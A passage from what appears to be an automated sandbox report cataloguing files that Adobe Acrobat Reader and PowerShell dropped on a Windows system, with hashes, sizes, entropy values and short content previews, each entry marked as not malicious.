SHA-256:	AD02D8B1266F6E3731956F9F805EFE9ECF493931C07F4985CB4E24FC68CE87D6
SHA-512:	E056A91F97CD1484FA15902CC7FE1ED8C011E86DE44BE63834C11C7233A2A52C88C6F1BFF1BF63E8CEB05FFA0725D8F07224A7118DD273733A277ECDA2605259
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"32fa02ca-57ee-4fb7-81a0-7d01a5ea9905","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736722168974,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.281552094058948
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/JSEiSP8nmSg1c2LjcWkHvR0YeGDKoAvJf+dPeUkwRe9:YvXKX/JSELT5LjIPCGtG28Ukee9
MD5:	942A2973A7ABFE302C783CD29A847929
SHA1:	1CC4F458F0777989E92DFEC0DEFF8957DB7C6B5A
SHA-256:	2EC35D9077B0A66374BAAAD5571EE38361233F3EA6D985CED58DAD2FE448FFC7
SHA-512:	F0AB129FDAB3CA65765970AA4B098DE5622EEF3EE1BFC220FA836D74D45B464FB2C2352F7BAB7F1774B3E92A705766EC2417E8F1522C7D74172564B909ECEC8B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"32fa02ca-57ee-4fb7-81a0-7d01a5ea9905","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736722168974,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.278589655759205
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/JSEiSP8nmSg1c2LjcWkHvR0YeGDKoAvJfbPtdPeUkwRe9:YvXKX/JSELT5LjIPCGtGDV8Ukee9
MD5:	44BBAB135BC997388C05BFB8FD70C45D
SHA1:	9DF163EC33985A8D2ECD25DCE9004245BD6E2C71
SHA-256:	230DC6E201603F85376D13F3DCBA3F7D411D3C7A4E314AD768E6EBC76302E568
SHA-512:	48F05E9B159D644D1B8E4F4086DF9821EB947C2E9F510ED6BC179F96AFC20BB94085BDAC4E619CD1A36E96D9DAE58BB1DF23888213486D8D8EDFE17DDD1D68F6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"32fa02ca-57ee-4fb7-81a0-7d01a5ea9905","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736722168974,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.271434838705423
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/JSEiSP8nmSg1c2LjcWkHvR0YeGDKoAvJf21rPeUkwRe9:YvXKX/JSELT5LjIPCGtG+16Ukee9
MD5:	C659B53C34185672766E9DC6C6ED0D4A
SHA1:	3B38D7A545A1AE96A3A55778AB8AC9A72B30E30C
SHA-256:	A43464C17C3359D22F042E6EFA48CC68F1399A92D0DD053AB7B7EACD49DDC504
SHA-512:	53984DEEE5C52F78FA66799ECA501D850C9F5159A1640E55BD27A17DF8DC2625397EF9B578FEFB970E5B9BD52103F5D9D94417F56DCB3B03371BCD3A6A608C83
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"32fa02ca-57ee-4fb7-81a0-7d01a5ea9905","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736722168974,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665965610374509
Encrypted:	false
SSDEEP:	24:Yv6XBSELT5XIoamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS4E:YvyBXxBgkDMUJUAh8cvMB
MD5:	0C4B052031DDBF9F890B275E63C7E8A1
SHA1:	6821B8A18585C7CD0BDD899647309C4D50BAAE2E
SHA-256:	3D4F4A5024EE3CFDB023C7DD14F257EAB2D364BD660FB282F793EB3412FABC71
SHA-512:	9B57C996A734DED6D62236F8E599B24DAAF686B6D5950B28CE8B1EECCE8C4A3B24281A81DC4182BF785AFB8ED9E1E031495D5222134C139A76FD790475E8B03B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"32fa02ca-57ee-4fb7-81a0-7d01a5ea9905","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736722168974,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.245610385846461
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/JSEiSP8nmSg1c2LjcWkHvR0YeGDKoAvJfshHHrPeUkwRe9:YvXKX/JSELT5LjIPCGtGUUUkee9
MD5:	65BBBA2BE5C14AD69E052287E7C33BA1
SHA1:	4F4FCF967B52D1D807C953570732FE10F0BD2885
SHA-256:	92EC9A9C1F6E2CD822E64827B886407D422D6BDA3A7FF4092C40911BDC3B2810
SHA-512:	23C0354C8C1992CED3A1C4A383D2DE2D7F2A824ED1017FE91447ED051880310D2EFB273D6A89B59D4FAD4F6B62930E1EF3132987B9343E2470A7AAF75E1E874A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"32fa02ca-57ee-4fb7-81a0-7d01a5ea9905","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736722168974,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.249204576630235
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/JSEiSP8nmSg1c2LjcWkHvR0YeGDKoAvJTqgFCrPeUkwRe9:YvXKX/JSELT5LjIPCGtGTq16Ukee9
MD5:	EE684398C1D3E30084001E6E6087CAED
SHA1:	3CD45025761054645F85F4A6DC60742CFC26E011
SHA-256:	59B1A47C9507BF98A3991E58C65A80C53F8A2F2E8F1D91703F31D72C3337B423
SHA-512:	DD4DC1F062AEA5630DF4E6D81E875C0EDB260055A840FB985797637FD9BE3A4510CEB80B004949AF2E746E0719D5846994D02A53D936FCAC59D377118CFFDBB6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"32fa02ca-57ee-4fb7-81a0-7d01a5ea9905","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736722168974,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.138328349854292
Encrypted:	false
SSDEEP:	24:YTXFYaXP3ayGGRIn4bkgt40j8Zj0SwefwAZk2B2LS6ChgTQcHhuf3Lz5rphC9iuK:YVPPRKuZR8NXis4NQcHwvvc9q
MD5:	78AE5083436FAB18C68C026CA7E8CF58
SHA1:	8142E63A010C8960A9A5B36EA19475A698C849F3
SHA-256:	9D97D1732B2F58A8C60519FF882A0271F73EFA059E334DE80E33581FCAA68ABA
SHA-512:	7EFB962864CA6E6EC7816774DA729628CB5D9B09102B16AD4A0E03322554F6FE53826A3FF75E080FB96ABD97BA00E8AFA80BD90089A8653AFF59D9C6BFE3DA9E
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"b8c7a32d0feadf57cc82f6beba2ae9f2","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736543008000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"859d27c7b2eece124c3487b526991045","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736543008000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"10c2e876d844f58c812492c9e0df51ef","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736543008000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"9e906c04da9c47d6ccc206b3806efd9a","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736543008000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"cb726422c14249b1da3a983914131160","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1736543008000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"af2828cbf83e406bb4ec14916252b998","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":2

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.367799668767611
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDuSgXKdqEKfS8EKfM1ba6gF:Tll2GL7msMcKTlS8fcsuGfIb
MD5:	9C07683059C0E9F4B8E2062B427CE122
SHA1:	7CDB7E1AD3F40C8BD67AEDBB682A56D09F81B007
SHA-256:	8AA203220F56958495D18232ACA27F632085B25A0DBA339E43A95EFC63946EEA
SHA-512:	284C920006A986A702B2E2C01A405DD2FC9196CFDBAA74E69A5E56A8CEB1E0A0F9034BC3A907503EA5DAAEC926C9142774DBC6B8ACB141BD5E1090E26621BAA5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8425308344776758
Encrypted:	false
SSDEEP:	24:7+tgZ6bqyKn6ylSTofcNqDuSg+KdqEKfS8EKfM1banbqvqLKufx/XYKQvGJF7ur7:7MOcKTlS8fcsujfIWqGufl2GL7msS
MD5:	91AA7736D3CDB60C52D7D46C7B20FD09
SHA1:	CFED1A548775052091B099B18E97C2E60EEEDA15
SHA-256:	ADEDB0641E63392C09423FC251EBAB557543E26063410D8F0052C70C44FAB2A0
SHA-512:	204F62D6DEF0377EA6ABA0D94B1EA740DE1905599445174BAC60600E022DBC0FE5269E5BFA0393C78A3261FEA4B8823D3D9E2AD90B489EAA7382D59247A48E0F
Malicious:	false
Preview:	.... .c.......u...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEglqgetAA+uiVBa6C3oAca2QSTYyu:6a6TZ44ADElq1tAA+jV8uZTK
MD5:	EFA85EAADCB4A6DA0BCD84A4C540C0DD
SHA1:	EC06D46F4C81347240DF9CD5CD0F3176B1EEC7AA
SHA-256:	56B3F3DF6578212F64514CE6A63D38A49B146C41E9D70FF35D67BA865B070B0E
SHA-512:	70DDF3BDCC9DB6FDB190F1387DF6EFB13E319FE734ACF15996246B98A8D652660C16507BA519FEE62C28A0247F3D3A08F91425DA5ED06856CC691CD02DDEB14F
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulZiBll/h:NllUcB//
MD5:	9B2F1BCF148DCB1DF1571431C8B5FA78
SHA1:	9C57ECFC46DA924A6461D4C1DC7ADC8CC80FE425
SHA-256:	0EF02AF68DDC844D8933F417309546FC2D1366E3288DC395C78B8BA2EC6C08C6
SHA-512:	186299834A3EA4FA59E761319FE2C8CDE4AB32C4477DEF455E02BCCD2BBAD09D6F9526AB2C2783B2599745EB50DB48E003EC58BB7FE22FCBEDDC972D2FC0F8C9
Malicious:	false
Preview:	@...e...................................$............@..........

C:\Users\user\AppData\Local\Temp\MSI6778d.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErNq2le:Qw946cPbiOxDlbYnuRK+bDrNqT
MD5:	9CD30A13A963E93507856B207F97CD15
SHA1:	817B46742941111FD5C733F03760207F2FB97ED1
SHA-256:	B609058A9FBD585E13F9AC6298DB340004491FB43C7BD9EDB66398F98F50A869
SHA-512:	88B195171B908FFABE9D9E3AD63B46C5398426B368BB51D508217A92EF9245894EF3E8C57C8B77254BFF3B4E2D4EF521FE99F5D23D9AF5F525D7EE5FCC5DD0C7
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.0.3.:.2.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3qdr240r.1y2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_454wozv5.zgk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-03-21-408.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.324802664380451
Encrypted:	false
SSDEEP:	384:WGcPUCJP+RcmAAVAZnP3jRu734N7M3j3/3ZGsn/jJt5gKjYcCNbSaVdbQHQl0F3G:+SVTPJ+
MD5:	C5A1F2E3831F453E66582320797476DD
SHA1:	8DBA5CA0267DF3C48B12431BE79D2A918BA3CDFD
SHA-256:	3F49AE1E17A8B41D310EDCF150F3B75555BC44AFA8B2DCA6F225AC62122AEB5A
SHA-512:	ADF731DD9749AFAF4B38AC0BBA9B2215CFBCB42B6EEC63D39086867932DD8AF8F142136123AF8FD28E3E9CD76E6B1272F092DCBB07BAD0EC078FCD3C42F7CD06
Malicious:	false
Preview:	SessionID=18511bd2-c61a-4e4c-b3a4-6ec4157e3695.1736543001418 Timestamp=2025-01-10T16:03:21:418-0500 ThreadID=6868 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=18511bd2-c61a-4e4c-b3a4-6ec4157e3695.1736543001418 Timestamp=2025-01-10T16:03:21:419-0500 ThreadID=6868 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=18511bd2-c61a-4e4c-b3a4-6ec4157e3695.1736543001418 Timestamp=2025-01-10T16:03:21:419-0500 ThreadID=6868 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=18511bd2-c61a-4e4c-b3a4-6ec4157e3695.1736543001418 Timestamp=2025-01-10T16:03:21:419-0500 ThreadID=6868 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=18511bd2-c61a-4e4c-b3a4-6ec4157e3695.1736543001418 Timestamp=2025-01-10T16:03:21:419-0500 ThreadID=6868 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.376129753767825
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmc6cbkIsIcba8J:8qnXopZ50rQRso8J
MD5:	2E0E47F4A518E71B0F6B55D0A81DF61A
SHA1:	90C8186365887B3D93983E007DDB7D6BCDA20EA6
SHA-256:	463454B0A8A8D344CC2B1E902D6DFC7F78A167F29D6DCDCFFDCC3306C0B95BB5
SHA-512:	7C95C8BF5B7452C37DF5C0F4035FCDF6AAE0ECE09BFE27CC2D854435694446C86A72F6766BCE3D3E4555EEE56688FC462610675FCC6DB528DC554E51E6AD6CC4
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\42bb4d3d-0c00-4fc1-8886-45e68c6ffaf2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/rKdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tOWL07oYGZQeYIGNPB:Ta3mlind9i4ufFXpAXkrfUs0kWLxYGZQ
MD5:	81778DB3CD3E202CD8FEB47572C9DF55
SHA1:	A030EAB46FE2ED66D14270A86F44303F0D742019
SHA-256:	2E4A0CE023C75E0A53D82D4D08DC4ACD144039D04CEA94103C26535CB5B56998
SHA-512:	97BFD23BD03D6E911059092ED0C44779588CE29AE31E8FA1510A7FEE2B92B9E07AE2FFD4614D2566D369E48554269DC95DE42E062E533A4AA5EEC4DBAAAD3D1B
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4b772ec2-f927-44d9-bf6d-17d4b072dda5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
